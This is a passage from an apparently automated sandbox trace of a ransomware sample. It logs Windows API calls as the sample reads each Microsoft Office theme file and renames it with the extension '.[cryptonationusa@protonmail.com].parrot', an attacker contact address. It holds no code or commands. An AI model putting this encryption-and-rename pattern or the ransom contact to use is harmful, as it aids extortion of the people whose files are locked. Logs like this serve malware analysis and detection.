themes 14\\theme effects\\median.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.903] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.903] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.905] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.905] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e35, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5e35, lpOverlapped=0x0) returned 1 [0159.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.907] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.912] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.912] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.917] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa95d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa95d, lpOverlapped=0x0) returned 1 [0159.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.920] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.926] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.927] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.927] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e301, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e301, lpOverlapped=0x0) returned 1 [0159.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.963] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.991] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.991] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.992] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.992] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8059, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8059, lpOverlapped=0x0) returned 1 [0159.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.003] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.004] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.005] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa8b9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0160.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.008] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.012] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.012] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.014] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.014] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fed, lpOverlapped=0x0) returned 1 [0160.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.017] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.017] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.017] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.021] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.021] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.061] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.062] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37d8a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0160.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.202] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.214] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.214] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.216] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.216] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53af, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x53af, lpOverlapped=0x0) returned 1 [0160.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.221] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.226] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.226] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.228] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.228] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbef29, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbef29, lpOverlapped=0x0) returned 1 [0160.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.270] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.315] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.315] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.498] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.498] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c8d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0160.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.504] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.514] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.514] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.516] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.516] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c85, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6c85, lpOverlapped=0x0) returned 1 [0160.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.519] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.527] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.527] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.529] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.529] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0160.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.531] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.573] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.575] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.575] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa14f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa14f, lpOverlapped=0x0) returned 1 [0160.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.578] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.584] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.584] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.589] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fb84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0160.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.594] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.602] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.602] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.610] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c9b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0160.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.614] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: 